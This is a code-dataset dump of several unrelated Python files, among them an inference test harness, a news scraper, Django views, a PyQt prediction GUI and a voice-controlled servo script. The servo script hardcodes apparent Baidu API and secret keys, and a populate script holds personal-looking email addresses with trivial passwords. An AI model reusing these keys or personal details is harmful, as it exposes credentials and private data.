NUM_THREADS, tc.frozen_file, tc.output_node, LOOPS, inference_input)\n \n output = exec_cmd(do_inference,\"tensorflow do inference!\")\n output = decode_string(output)\n \n # Parse output info from cmd out\n tf_info = \"tensorflow output:\\s\\[([\\-?\\d+\\.?\\d*e?-?\\d*?\\s]+)\"\n tf_result = re.findall(tf_info, output)\n logging.debug(\"tensorflow output: %s\" % tf_result)\n \n tf_time_info = \"TF time used per loop is: (\\d+\\.?\\d*) ms\"\n tf_time_used = re.findall(tf_time_info, output)\n \n return tf_result, tf_time_used\n\n\n\ndef mkldnn_inference(tc, inference_input):\n if not os.path.exists(tc.save_model_dir): \n os.makedirs(tc.save_model_dir)\n \n tf2topo = 'cd %s/ && python tf2topo.py --input_model_filename=%s --weights_file=%s/weights.bin --pkl_file=%s/weights.pkl --topo_file=%s/topo.txt' % \\\n (TRANSFORMER_PATH, tc.frozen_file, tc.save_model_dir, tc.save_model_dir, tc.save_model_dir)\n exec_cmd(tf2topo, \"convert tf pb file to topo\")\n\n topo2mkldnn = 'cd %s/ && python topo2code.py --topo=%s/topo.txt' % (TRANSFORMER_PATH, tc.save_model_dir)\n exec_cmd(topo2mkldnn, \"convert topo to inference code\")\n\n run_mkldnn = 'cd %s/inference_code/ && sh build.sh && OMP_NUM_THREADS=%d ./test -W %s/weights.bin -b 1 -l %d' % \\\n (TRANSFORMER_PATH, NUM_THREADS, tc.save_model_dir, LOOPS)\n output = exec_cmd(run_mkldnn, \"build and run inference code\")\n output = decode_string(output)\n\n #search info from cmd ouput\n out_info = \"Last_output >> \\[([\\-?\\d+\\.?\\d*e?-?\\d*?\\s]+)\"\n inference_result = re.findall(out_info, output)\n logging.debug(\"mkldnn output:%s\" % inference_result)\n\n mkldnn_time_info = \"AVG Time: (\\d+\\.?\\d*) ms\"\n mkldnn_time_used = re.findall(mkldnn_time_info, output)\n \n return inference_result,mkldnn_time_used \n\n\ndef str2list(input_str):\n output_list = input_str.split()\n \n return output_list\n\n\ndef compare(list1,list2):\n length = min(len(list1),len(list2))\n \n num = 0 \n for i in range(length):\n if abs(float(list1[i]) - float(list2[i])) <= float(EPSILON):\n num = num + 1\n\n if num == length:\n logging.debug(\"mkldnn inference outputs equal tensorflow outputs, num=%d\" % num)\n return True\n else:\n logging.debug(\"mkldnn inference outputs are different from tensorflow outputs!\")\n return False\n\n\n\ndef init_config():\n global TRANSFORMER_PATH, TF_SRC_PATH, TF_SLIM_PATH, NUM_THREADS, EPSILON, LOOPS\n\n TRANSFORMER_PATH = os.path.abspath(os.path.join(os.path.dirname(__file__), \"..\"))\n NUM_THREADS = psutil.cpu_count(logical = False)\n\n config = configparser.ConfigParser()\n config.read('test.cfg')\n\n TF_SRC_PATH = config.get('path', 'tensorflow')\n TF_SLIM_PATH = config.get('path', 'tensorflow_slim')\n EPSILON = config.get('control', 'epsilon')\n LOOPS = int(config.get('control', 'loops'))\n\n str_models = config.get('models', 'names')\n model_list = str_models.split(',')\n\n for model in model_list:\n tc = TestCase()\n tc.model_name = model\n tc.model_type = config.get(model, 'type')\n tc.url = config.get(model, 'url')\n tc.output_node = config.get(model, 'output_node')\n try:\n tc.fix_graph = config.get(model, 'fix_graph')\n except:\n pass\n testcases.append(tc)\n\n\n\ndef model_test(tc): \n print(\" Test model: %s start ............\" % tc.model_name)\n \n if tc.model_type == \"ckpt\":\n download_ckpt(tc)\n export_inference_graph(tc)\n if tc.fix_graph:\n fix_graph_1001_to_1000(tc)\n # if need to get the output name, could call this func\n summarize_graph(tc)\n frozen_pb(tc)\n else:\n logger.debug(\"model type error!\")\n exit()\n\n tf_output, tf_time = tf_inference(tc, args.inference_input)\n mkldnn_output, mkldnn_time = mkldnn_inference(tc, args.inference_input)\n \n tf_output_list = str2list(tf_output[0])\n mkldnn_output_list = str2list(mkldnn_output[0])\n \n logging.debug(\"tensorflow ouput: %s\" % tf_output_list)\n logging.debug(\"mkldnn output: %s\" % mkldnn_output_list)\n\n result = compare(mkldnn_output_list, tf_output_list) \n \n if result:\n print(\" %s passed! tensorflow used time: %s ms, mkldnn used time: %s ms.\" % (tc.model_name, tf_time, mkldnn_time)) \n else:\n print(\" %s failed! tensorflow used time: %s ms, mkldnn used time: %s ms.\" % (tc.model_name, tf_time, mkldnn_time))\n\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--model_name\", \"-n\", default=\"all\", type=str, help=\"which model to test, default means to test all configured models in test.cfg.\")\n parser.add_argument(\"--inference_input\", \"-i\", default=\"data\", type=str, help=\"input: 'data' or an image file path. Currently only support 'data', which means to use emulated data.\")\n \n args = parser.parse_args() \n\n init_config()\n\n if args.model_name == \"all\": \n for tc in testcases:\n model_test(tc)\n else:\n for tc in testcases:\n if tc.model_name == args.model_name:\n model_test(tc)\n \n print(\" All tests done!\")\n","sub_path":"tests/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":14586,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"567934927","text":"import time\nimport re\nimport os\n\nimport feedparser\nfrom pymongo import MongoClient\nfrom datetime import datetime\nfrom bs4 import BeautifulSoup\n\nimport ws_functions as ws\n\nDB_ADDRESS = os.environ['OPENSHIFT_MONGODB_DB_URL']\nDB = 'ws'\n\nd = feedparser.parse('http://www.gandul.info/rss/autor/lelia-munteanu')\n\n\nupdate_returnArticlesListVersion = 0\n\n\nfor post in d.entries:\n if ws.article_freshness(post.published_parsed,3600) is True:\n\n #extract article summary\n summary = ws.extract_summary_gandul(post.link)\n\n #check article existance\n if ws.article_exists(post.title,summary,2) == False:\n update_returnArticlesListVersion = 1\n\n #extract article tags\n tags = ws.extract_tags_gandul(post.link)\n\n #extract article content\n content=ws.extract_content_gandul(post.link)\n\n #add tags if are not found in article link\n if tags == '':\n tags=ws.extract_tags_ro(content)\n\n #extract artCategory\n artCategory=ws.return_artcategory_ro(tags,content)\n if artCategory == '':\n artCategory=[{\"content\":\"Diverse\",\"score\":\"1\"}]\n\n #add sentiment\n sentiment=ws.return_sentiment_ro(content)\n\n #insert in db\n client = MongoClient(DB_ADDRESS)\n db = client[DB]\n db['article'].insert({\"date_ttl\":datetime.utcnow(),\"authId\":int(2),\"authName\":\"Lelia Munteanu\",\n \"artName\":post.title,\"url\":post.link,\"summary\":summary,\"content\":content,\"tags\":tags,\n \"date\":int(time.time()),\"artDate\":datetime.utcnow().strftime(\"%d%b%Y\"),\n \"authImgUrl\" : \"https://ws-truthrevolution.rhcloud.com/images/v1/lelia-munteanu.png\",\n \"artSentiment\":int(sentiment),\"comments\":[],\"artSource\":\"gandul.info\",\n \"artCategory\":artCategory})\n\nws.update_articlelistversion(update_returnArticlesListVersion,2)\n","sub_path":"wsgi/scripts/lelia_munteanu-gandul.info.py","file_name":"lelia_munteanu-gandul.info.py","file_ext":"py","file_size_in_byte":2047,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"378463131","text":"from django.shortcuts import render_to_response\nfrom django.template import RequestContext\nfrom django.http import HttpResponse, Http404\nfrom django.core.exceptions import ObjectDoesNotExist\nfrom burtsev_me.tags.models import Tags, TagBinds\nfrom burtsev_me.blog.models import BlogPost\nfrom burtsev_me.notes.models import Note\nfrom burtsev_me.links.models import Link\nfrom burtsev_me.views import menu\n\n\ndef tag_list(request, entity_type):\n\ttag_ids = TagBinds.objects.filter(entity_type = entity_type).values('tag_id')\n\ttags = Tags.objects.filter(id__in = tag_ids)\n\n\treturn render_to_response('tags.html', {\n\t\t'tags': tags,\n\t\t'entity_type': entity_type,\n\t}, RequestContext(request, processors = [menu]))\n\n\ndef entities_for_tag(request, entity_type, tag_name):\n\tentities = list()\n\n\ttry:\n\t\ttag = Tags.objects.get(name = tag_name)\n\t\tids = TagBinds.objects.filter(tag_id = tag.id, entity_type = entity_type).values('entity_id')\n\t\tif entity_type == 'posts':\n\t\t\tentities = BlogPost.objects.filter(id__in = ids)\n\t\tif entity_type == 'notes':\n\t\t\tentities = Note.objects.filter(id__in = ids)\n\t\tif entity_type == 'links':\n\t\t\tentities = Link.objects.filter(id__in = ids)\n\texcept ObjectDoesNotExist as e:\n\t\traise Http404\n\n\treturn render_to_response('entities.html', {\n\t\t'entities': entities,\n\t\t'entity_type': entity_type,\n\t\t'tag_name': tag_name\n\t}, RequestContext(request, processors = [menu]))","sub_path":"tags/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1380,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"226186529","text":"# -*- coding: utf-8 -*-\nfrom tests.pages.BasicPage import BasicPage\n\n\nclass NavigationManager(BasicPage):\n INBOX_URL = 'https://e.mail.ru/inbox/'\n TRASH_URL = 'https://e.mail.ru/trash/'\n SENT_URL = 'https://e.mail.ru/sent/'\n\n nav_inbox_button = \"a.nav__item[title='Входящие']\"\n nav_sent_button = \"a.nav__item[title='Отправленные']\"\n nav_trash_button = \"a.nav__item[title='Корзина']\"\n\n def go_to_inbox(self):\n elem = self.wait_render(self.nav_inbox_button)\n elem.click()\n elem.click()\n # Wait for moving to inbox page\n self.wait_redirect(self.INBOX_URL)\n\n def go_to_trash(self):\n elem = self.wait_render(self.nav_trash_button)\n elem.click()\n elem.click()\n # Wait for moving to remove page\n self.wait_redirect(self.TRASH_URL)\n\n def go_to_sent_letters_folder(self):\n elem = self.wait_render(self.nav_sent_button)\n elem.click()\n elem.click()\n # Wait for moving to remove page\n self.wait_redirect(self.SENT_URL)\n","sub_path":"tests/pages/main_page/menu/navigation/NavigationManager.py","file_name":"NavigationManager.py","file_ext":"py","file_size_in_byte":1066,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"72924487","text":"from dao.orm.model import *\n\ndb.create_all()\n\n\ndb.session.query(ormResult).delete()\ndb.session.query(ormParameters).delete()\ndb.session.query(ormTestCase).delete()\ndb.session.query(ormFunction).delete()\ndb.session.query(ormPersons).delete()\n\n\n\n\nDima = ormPersons( person_login = \"Dima\",\n person_password = \"0000\",\n person_name = \"Dima\",\n person_surname = \"Koltsov\",\n person_email = \"dik19994@gmail.com\",\n person_birthday = \"1999-01-01\")\n\nVlad = ormPersons( person_login = \"Vlad\",\n person_password = \"0000\",\n person_name = \"Vlad\",\n person_surname = \"Kanevckyi\",\n person_email = \"vladkaneve@gmail.com\",\n person_birthday = \"1999-02-04\")\n\nVadim = ormPersons( person_login = \"Vadim\",\n person_password = \"0000\",\n person_name = \"Vadim\",\n person_surname = \"Pits\",\n person_email = None,\n person_birthday = \"1998-10-29\")\n\nYarik = ormPersons( person_login = \"Yarik\",\n person_password = \"0000\",\n person_name = \"Yarik\",\n person_surname = \"Artemenko\",\n person_email = None,\n person_birthday = \"1999-08-11\")\n\nSrhey = ormPersons( person_login = \"Srhey\",\n person_password = \"0000\",\n person_name = \"Srhey\",\n person_surname = \"Gorodnuk\",\n person_email = None,\n person_birthday = \"1999-10-02\")\n\nadd = ormFunction( function_name = \"add\",\n person_text = \"def add(a, b):\\n\\treturn a+b\",\n counter_of_tests = 10)\n\nsub = ormFunction( function_name = \"sub\",\n person_text = \"def sub(a, b):\\n\\treturn a-b\",\n counter_of_tests = 10)\n\nmult = ormFunction( function_name = \"mult\",\n person_text = \"def mult(a, b):\\n\\treturn a*b\",\n counter_of_tests = 10)\n\ndiv = ormFunction( function_name = \"div\",\n person_text = \"def div(a, b):\\n\\treturn a/b\",\n counter_of_tests = 10)\n\nabs = ormFunction( function_name = \"abs\",\n person_text = \"def abs(a):\\n\\treturn abs(a)\",\n counter_of_tests = 10)\n\n\nDima.Persons_Function.append(add)\nVlad.Persons_Function.append(sub)\nVadim.Persons_Function.append(mult)\nYarik.Persons_Function.append(div)\nSrhey.Persons_Function.append(abs)\n\ni_1 = ormTestCase(testcase_id = 1)\ni_2 = ormTestCase(testcase_id = 2)\ni_3 = ormTestCase(testcase_id = 3)\ni_4 = ormTestCase(testcase_id = 4)\ni_5 = ormTestCase(testcase_id = 5)\n\nadd.Function_TescCase.append(i_1)\nsub.Function_TescCase.append(i_2)\nmult.Function_TescCase.append(i_3)\ndiv.Function_TescCase.append(i_4)\nabs.Function_TescCase.append(i_5)\n\np_0i_1_1 = ormParameters(parameters_index = 0,\n testcase_iteration = 1,\n parameters_value = 2)\n\np_1i_1_2 = ormParameters(parameters_index = 1,\n testcase_iteration = 1,\n parameters_value = 3)\n\np_0i_1_3 = ormParameters(parameters_index = 0,\n testcase_iteration = 1,\n parameters_value = 4)\n\np_1i_1_4 = ormParameters(parameters_index = 1,\n testcase_iteration = 1,\n parameters_value = 5)\n\np_0i_1_5 = ormParameters( parameters_index = 0,\n testcase_iteration = 1,\n parameters_value = -7)\n\n\ni_1.TestCase_Parameters.append(p_0i_1_1)\ni_1.TestCase_Parameters.append(p_1i_1_2)\ni_2.TestCase_Parameters.append(p_0i_1_3)\ni_2.TestCase_Parameters.append(p_1i_1_4)\ni_5.TestCase_Parameters.append(p_0i_1_5)\n\n\niter_1 = ormResult(result_value = 5,\n testcase_iteration = 1)\n\niter_2 = ormResult(result_value = -1,\n testcase_iteration = 1)\n\niter_3 = ormResult(result_value = 4,\n testcase_iteration = 1)\n\niter_4 = ormResult(result_value = 0.25,\n testcase_iteration = 1)\n\niter_5 = ormResult(result_value = 7,\n testcase_iteration = 1)\n\ni_1.TestCase_Result.append(iter_1)\ni_2.TestCase_Result.append(iter_2)\ni_3.TestCase_Result.append(iter_3)\ni_4.TestCase_Result.append(iter_4)\ni_5.TestCase_Result.append(iter_5)\n\n\ndb.session.add_all([Dima, Vlad, Vadim, Yarik, Srhey, add, sub, mult, div, abs, i_1, i_2, i_3, i_4, i_5,\n p_0i_1_1, p_1i_1_2, p_0i_1_3, p_1i_1_4, p_0i_1_5, iter_1, iter_2, iter_3, iter_4, iter_5])\n\n\n\ndb.session.commit()","sub_path":"dao/orm/populate.py","file_name":"populate.py","file_ext":"py","file_size_in_byte":4350,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"210708216","text":"from gui import Ui_MainWindow\nfrom PyQt5.QtWidgets import QMainWindow, QGridLayout, QTableWidgetItem, QFileDialog\nfrom PyQt5.QtGui import QIcon, QPixmap\nfrom PyQt5.QtCore import pyqtSignal, Qt, QDate, QTime\nfrom matlibplot_widget import MyMplCanvas\nfrom my_thread import FeatureImportanceThread\nfrom my_thread import BackendThread\nfrom my_thread import PredictThread\nimport pandas as pd\nimport numpy as np\nfrom PyQt5 import sip\nfrom my_son import LoadingGifWin\n\ncol_name = ['手机型号', '上市时间', '最低价格', '最高价格', '最小RAM', '最大RAM', '最小ROM', '最大ROM', '重量',\n '屏幕尺寸', '屏幕类型', '分辨率', '芯片型号', 'CPU得分', 'CPU核数', 'CPU主频率', 'GPU', '操作系统',\n '摄像头数', '后置主像素', '前置主像素', '电池容量', '充电接口', '充电功率', '网络类型', '5G', '无线充电']\n\n\nclass MainWindow(QMainWindow, Ui_MainWindow):\n open_path = pyqtSignal(str)\n\n def __init__(self):\n super(MainWindow, self).__init__()\n self.setupUi(self)\n self.waiting = LoadingGifWin()\n\n self.logo.setPixmap(QPixmap('res/logo.png').scaled(self.logo.width(),\n self.logo.height()))\n self.setWindowIcon(QIcon('res/icon.png')) # 设置图标\n\n self.view_rank_btn.clicked.connect(self.view_ranking) # 为查看排行按钮增加事件监听\n self.view_rank_btn.clicked.connect(self.show_waiting)\n self.submit_predict_btn.clicked.connect(self.submit_predicting) # 为预测按钮增加事件监听\n self.submit_predict_btn.clicked.connect(self.show_waiting)\n self.load_data_btn.clicked.connect(self.load_data)\n self.delete_row_btn.clicked.connect(self.delete_row)\n self.add_row_btn.clicked.connect(self.add_row)\n self.clear_btn.clicked.connect(self.clear_data)\n self.open_path.connect(self.update_table)\n self.select_model_cmb2.currentIndexChanged.connect(self.clear_widget)\n\n '''self.backend = BackendThread()\n self.backend.update_date.connect(self.show_mypet) # 连接信号\n self.backend.start()'''\n pixmap = QPixmap(\"res/data_analysis.png\") # 按指定路径找到图片\n self.pet.setPixmap(pixmap) # 在label上显示图片\n self.pet.setScaledContents(True) # 让图片自适应label大小\n\n self.importance = FeatureImportanceThread()\n self.importance.plot_importance.connect(self.show_importance)\n self.importance.plot_importance.connect(self.close_waiting)\n self.canvas = None\n # self.canvas = MyMplCanvas()\n self.mylayout = QGridLayout(self.groupBox)\n # self.mylayout.addWidget(self.canvas, 0, 1)\n\n self.predictThread = PredictThread()\n self.predictThread.predict_result.connect(self.show_predict_result)\n self.predictThread.predict_result.connect(self.close_waiting)\n # self.tableWidget.setSelectionBehavior(QTableWidget.SelectRows)\n\n def clear_widget(self):\n if type(self.canvas) != type(None):\n self.mylayout.removeWidget(self.canvas)\n sip.delete(self.canvas)\n self.canvas = None\n\n def close_waiting(self):\n self.waiting.close()\n\n def show_waiting(self):\n self.waiting.show()\n\n def clear_data(self):\n self.tableWidget.clearContents()\n self.result_edit.setText('')\n\n def delete_row(self):\n row = self.tableWidget.currentRow()\n if row:\n self.tableWidget.removeRow(row)\n else:\n print('请选择需要删除的行')\n\n def add_row(self):\n row_num = self.tableWidget.rowCount()\n self.tableWidget.setRowCount(row_num+1)\n\n def load_data(self):\n openfile_name = QFileDialog.getOpenFileName(self, '选择文件', '', 'Excel files(*.csv )')[0]\n print(openfile_name)\n self.open_path.emit(openfile_name)\n\n def update_table(self, path):\n print(path)\n if len(path):\n input_table = pd.read_csv(path)\n input_table_rows = input_table.shape[0]\n input_table_columns = input_table.shape[1]\n input_table_header = input_table.columns.values.tolist()\n\n self.tableWidget.setColumnCount(input_table_columns)\n self.tableWidget.setRowCount(input_table_rows)\n self.tableWidget.setHorizontalHeaderLabels(input_table_header)\n\n for i in range(input_table_rows):\n rows_values = input_table.iloc[[i]]\n rows_values_array = np.array(rows_values)\n rows_values_list = rows_values_array.tolist()[0]\n for j in range(input_table_columns):\n item_list = rows_values_list[j]\n input_table_item = str(item_list)\n newItem = QTableWidgetItem(input_table_item)\n newItem.setTextAlignment(Qt.AlignHCenter | Qt.AlignVCenter)\n self.tableWidget.setItem(i, j, newItem)\n else:\n self.centralwidget.show()\n\n def get_table_data(self):\n col = self.tableWidget.columnCount()\n row_list = set()\n index = self.tableWidget.selectionModel().selection().indexes()\n for i in index:\n row_list.add(i.row())\n select_data = []\n for r in row_list:\n row_data = [self.tableWidget.item(r, p).text() for p in range(col)]\n select_data.append(row_data)\n select_data = pd.DataFrame(select_data, index=range(len(row_list)), columns=col_name)\n return select_data\n\n def show_predict_result(self, result):\n self.result_edit.setText(result)\n\n def submit_predicting(self):\n self.result_edit.setText('')\n data = self.get_table_data()\n print(data)\n model = self.select_model_cmb1.currentText()\n if model == 'SVM':\n print('SVM')\n self.predictThread.set_sign(0, data)\n self.predictThread.start()\n elif model == 'RandomForest':\n self.predictThread.set_sign(1, data)\n self.predictThread.start()\n\n def view_ranking(self):\n model = self.select_model_cmb2.currentText()\n if model == 'SVM':\n self.importance.set_sign(0)\n self.importance.start()\n elif model == 'RandomForest':\n self.importance.set_sign(1)\n self.importance.start()\n\n def show_mypet(self, path, i):\n pixmap = QPixmap(\"%s%s.png\" % (path, str(i))) # 按指定路径找到图片\n self.pet.setPixmap(pixmap) # 在label上显示图片\n self.pet.setScaledContents(True) # 让图片自适应label大小\n\n def show_importance(self, title, importance, featurename):\n if type(self.canvas) != type(None):\n self.mylayout.removeWidget(self.canvas)\n sip.delete(self.canvas)\n self.canvas = MyMplCanvas()\n feature_num = self.feature_num_spinBox.value()\n self.canvas.update_figure(title, importance, featurename, feature_num)\n self.mylayout.addWidget(self.canvas, 0, 1)\n\n","sub_path":"main_window.py","file_name":"main_window.py","file_ext":"py","file_size_in_byte":7116,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"189975320","text":"from moocxing.package import MOOCXING\r\nfrom moocxing.robot.Brain import Brain\r\n\r\nmx = MOOCXING()\r\n'''\r\nAPP_ID = '22929503'\r\nAPI_KEY = 'WresMkF1o4342KeqZBOsjXId'\r\nSECRET_KEY = 'BrDOj5quiTuhwxpULsVzWdw5nmcyrTIl'\r\n'''\r\nAPP_ID='23084382'\r\nAPI_KEY='ka5P4d1iP9W8yEsIcFwGPYCm'\r\nSECRET_KEY='xQXk8YV5YYPhIvmG23eX21Wgp5E6m8h6'\r\n\r\nmedia = mx.initMedia()\r\n\r\nserial = mx.initSerial(com=\"COM4\", bps=9600)\r\n\r\nspeech = mx.initSpeech(APP_ID, API_KEY, SECRET_KEY)\r\n\r\nprint(\"************initialization finish**********\")\r\n\r\nbrain = Brain({\"media\": media, \"speech\": speech, \"serial\":serial})\r\n\r\nprint(\"************技能插件加载完毕**********\")\r\n\r\ndef TTSPlay(text):\r\n speech.TTS(text)\r\n media.play()\r\n\r\ndef recordSTT():\r\n media.record()\r\n return speech.STT()\r\n\r\nwhile True:\r\n result = recordSTT()\r\n #请说 将舵机调整为几级\r\n if not brain.query(result, _print=True):\r\n if \"0\" in result or \"零\" in result:\r\n TTSPlay(\"好的,将舵机调整为0级\")\r\n serial.send(\"0\")\r\n # continue\r\n if \"1\" in result or \"一\" in result:\r\n TTSPlay(\"好的,将舵机调整为1级\")\r\n serial.send(\"1\")\r\n # continue\r\n if \"2\" in result or \"二\" in result:\r\n TTSPlay(\"好的,将舵机调整为2级\")\r\n serial.send(\"2\")\r\n # continue\r\n if \"3\" in result or \"三\" in result:\r\n TTSPlay(\"好的,将舵机调整为3级\")\r\n serial.send(\"3\")\r\n # continue\r\n if \"4\" in result or \"四\" in result:\r\n TTSPlay(\"好的,将舵机调整为4级\")\r\n serial.send(\"4\")\r\n # continue\r\n if \"5\" in result or \"五\" in result:\r\n TTSPlay(\"好的,将舵机调整为5级\")\r\n serial.send(\"5\")\r\n # continue\r\n if \"6\" in result or \"六\" in result:\r\n TTSPlay(\"好的,将舵机调整为6级\")\r\n serial.send(\"6\")\r\n # continue\r\n if \"7\" in result or \"七\" in result:\r\n TTSPlay(\"好的,将舵机调整为7级\")\r\n serial.send(\"7\")\r\n # continue\r\n if \"8\" in result or \"八\" in result:\r\n TTSPlay(\"好的,将舵机调整为8级\")\r\n serial.send(\"8\")\r\n # continue\r\n if \"9\" in result or \"九\" in result:\r\n TTSPlay(\"好的,将舵机调整为9级\")\r\n serial.send(\"9\")\r\n # continue\r\n","sub_path":"zh/homework8/servo_rotate.py","file_name":"servo_rotate.py","file_ext":"py","file_size_in_byte":2444,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"5462283","text":"import numpy as np\nfrom rtx.ray import Ray\nfrom rtx.surface import Surface\nfrom typing import Optional\n\n\nclass Ellipse(Surface):\n\n def __init__(self,\n dim: int,\n n1: float,\n n2: float,\n center: np.ndarray,\n semi_axes: np.ndarray):\n self.dim = dim\n self.center = center\n self.semi_axes = semi_axes\n super().__init__(n1, n2)\n self.m = self._transform_matrix()\n\n def _transform_matrix(self) -> np.ndarray:\n m = np.array([[0] * self.dim] * self.dim)\n for i in range(self.dim):\n for j in range(self.dim):\n if i == j:\n m[i, j] = self.semi_axes.prod() / self.semi_axes[i]\n return m\n\n def intersection_position(self, ray: Ray) -> Optional[np.ndarray]:\n md = self.m.dot(ray.direction)\n mpc = self.m.dot(ray.position - self.center)\n a = md.dot(md)\n b = 2*md.dot(mpc)\n c = mpc.dot(mpc) - self.semi_axes.prod()**2\n t1, t2 = np.roots([a, b, c])\n min_t = min(t1, t2)\n t = min_t if min_t >= 10**-10 else max(t1, t2)\n return ray.point(t) if super().valid_t(t) else None\n\n def normal(self, position: np.ndarray) -> np.ndarray:\n normal = 2 * (position - self.center) / np.power(self.semi_axes, 2)\n return normal / np.linalg.norm(normal)\n\n def _validate(self):\n if self.dim < 2:\n raise ValueError(\"Dimension must be at least 2\")\n if len(self.center.shape) != 1 or len(self.center) != self.dim:\n raise ValueError(\"Center vector must have shape (1, n)\")\n if len(self.semi_axes.shape) != 1 or len(self.semi_axes) != self.dim:\n raise ValueError(\"Semi-axes must have shape (1, n)\")\n for i in range(self.dim):\n if self.semi_axes[i] <= 0:\n raise ValueError(\"Semi-axis must be positive\")\n","sub_path":"rtx/ellipse.py","file_name":"ellipse.py","file_ext":"py","file_size_in_byte":1921,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"599573932","text":"from psycopg2.extensions import AsIs\nfrom textwrap import dedent\n\nimport psycopg2\nimport random\nimport csv\nimport os\n\nfixtures = {\n\t'risk': 'tests/fixtures/risk.csv',\n\t'country': 'tests/fixtures/country.csv',\n\t'asn':'tests/fixtures/asn.csv',\n\t'count':'tests/fixtures/count.csv'\n}\n\nconnection = psycopg2.connect(\n\tdatabase='testdb',\n\tuser='test_user',\n\tpassword='secret',\n\thost='localhost',\n\tport=5432\n\t)\n\ndef delete_tables():\n\tcursor = connection.cursor();\n\ttablenames = [\n\t\t'fact_count', 'agg_risk_country_week',\n\t\t'agg_risk_country_month', 'agg_risk_country_quarter',\n\t\t'agg_risk_country_year', 'dim_risk', 'dim_country', \n\t\t'dim_asn', 'dim_time'\n\t]\n\tfor tablename in tablenames:\n\t\tcursor.execute('DROP TABLE IF EXISTS %(table)s CASCADE',{'table': AsIs(tablename)})\n\tconnection.commit();\n\n\ndef create_tables():\n\tcursor = connection.cursor();\n\tcreate_time = dedent('''\n\tCREATE TABLE dim_time(\n\t\tdate DATE, month INT,\n\t\tyear INT, quarter INT,\n\t\tweek INT, week_start DATE,\n\t\tweek_end DATE\n\t\t)''')\n\tcreate_count = dedent('''\n\tCREATE TABLE fact_count(\n\t\tdate DATE, risk INT,\n\t\tcountry VARCHAR(2),\n\t\tasn BIGINT, count BIGINT,\n\t\tcount_amplified FLOAT\n\t\t)''')\n\tcreate_cube = dedent('''\n\tCREATE TABLE agg_risk_country_{time}(\n\t\tdate DATE, risk INT,\n\t\tcountry VARCHAR(2),\n\t\tcount BIGINT,\n\t\tcount_amplified FLOAT\n\t\t)''')\n\tcreate_risks = dedent('''\n\tCREATE TABLE dim_risk(\n\t\tid DOUBLE PRECISION,\n\t\tslug TEXT, title TEXT,\n\t\tamplification_factor DOUBLE PRECISION,\n\t\tdescription TEXT\n\t\t)''')\n\tcreate_country = dedent('''\n\tCREATE TABLE dim_country(\n\t\tid TEXT, name TEXT, slug TEXT,\n\t\tregion TEXT, continent TEXT\n\t\t)''')\n\tcreate_asn = dedent('''\n\tCREATE TABLE dim_asn(\n\t\tnumber DOUBLE PRECISION,\n\t\ttitle TEXT, country TEXT\n\t)\n\t''')\n\tcursor.execute(create_time)\n\tcursor.execute(create_risks)\n\tcursor.execute(create_country)\n\tcursor.execute(create_asn)\n\tcursor.execute(create_count)\n\tcreate_or_update_cubes(cursor, create_cube)\n\tconnection.commit()\n\n\ndef load_data():\n\tepath = os.path.abspath('tests/fixtures/count.csv')\n\trpath = os.path.abspath('tests/fixtures/risk.csv')\n\tcpath = os.path.abspath('tests/fixtures/country.csv')\n\tcapath = os.path.abspath('tests/fixtures/asn.csv')\n\t\n\teload = \"COPY fact_count FROM STDIN DELIMITER ',' CSV HEADER;\"\n\trload = \"COPY dim_risk FROM STDIN DELIMITER ',' CSV HEADER;\"\n\tcload = \"COPY dim_country FROM STDIN DELIMITER ',' CSV HEADER;\"\n\tcaload = \"COPY dim_asn FROM STDIN DELIMITER ',' CSV HEADER;\"\n\t\n\tcursor = connection.cursor()\n\tcursor.copy_expert(eload, open(epath))\n\tcursor.copy_expert(rload, open(rpath))\n\tcursor.copy_expert(cload, open(cpath))\n\tcursor.copy_expert(caload, open(capath))\n\tconnection.commit()\n\n\ndef aggregate_entries():\n\tcursor = connection.cursor() \n\tupdate_time = dedent('''\n\tINSERT INTO dim_time\n\t(SELECT\n\t\tdate,\n\t\tEXTRACT(MONTH FROM date) as month,\n\t\tEXTRACT(YEAR FROM date) as year,\n\t\tEXTRACT(QUARTER FROM date) as quarter,\n\t\tEXTRACT(WEEK FROM date) as week,\n\t\tdate_trunc('week', date) as week_start,\n\t\t(date_trunc('week', date)+'6 days') as week_end\n\tFROM fact_count GROUP BY date)\n\t''')\n\tpopulate_cube = dedent('''\n\tINSERT INTO agg_risk_country_{time}\n\t\t(SELECT date_trunc('{time}', date) AS date, risk, country, \n\t\tSUM(count) AS count, SUM(count_amplified) FROM fact_count\n\tGROUP BY CUBE(date_trunc('{time}', date), country, risk) ORDER BY date DESC, country)\n\t''')\n\tupdate_cube_risk = dedent('''\n\tUPDATE agg_risk_country_{time}\n\tSET risk=100\n\tWHERE risk IS null;\n\t''')\n\tupdate_cube_country = dedent('''\n\tUPDATE agg_risk_country_{time}\n\tSET country='T'\n\tWHERE country IS null;\n\t''')\n\tcursor.execute(update_time)\n\tcreate_or_update_cubes(cursor, populate_cube)\n\tcreate_or_update_cubes(cursor, update_cube_risk)\n\tcreate_or_update_cubes(cursor, update_cube_country)\n\tconnection.commit()\n\n\ndef create_constraints():\n\tcursor = connection.cursor()\n\trisk_constraints = 'ALTER TABLE dim_risk ADD PRIMARY KEY (id);'\n\tcountry_constraints = 'ALTER TABLE dim_country ADD PRIMARY KEY (id);'\n\ttime_constraints = 'ALTER TABLE dim_time ADD PRIMARY KEY (date)'\n\tasn_constraints = dedent('''\n\tALTER TABLE dim_asn\n\tADD PRIMARY KEY (number),\n\tADD CONSTRAINT fk_asn_country FOREIGN KEY (country) REFERENCES dim_country(id)\n\t''')\n\tcount_counstraints = dedent('''\n\tALTER TABLE fact_count\n\tADD CONSTRAINT fk_count_risk FOREIGN KEY (risk) REFERENCES 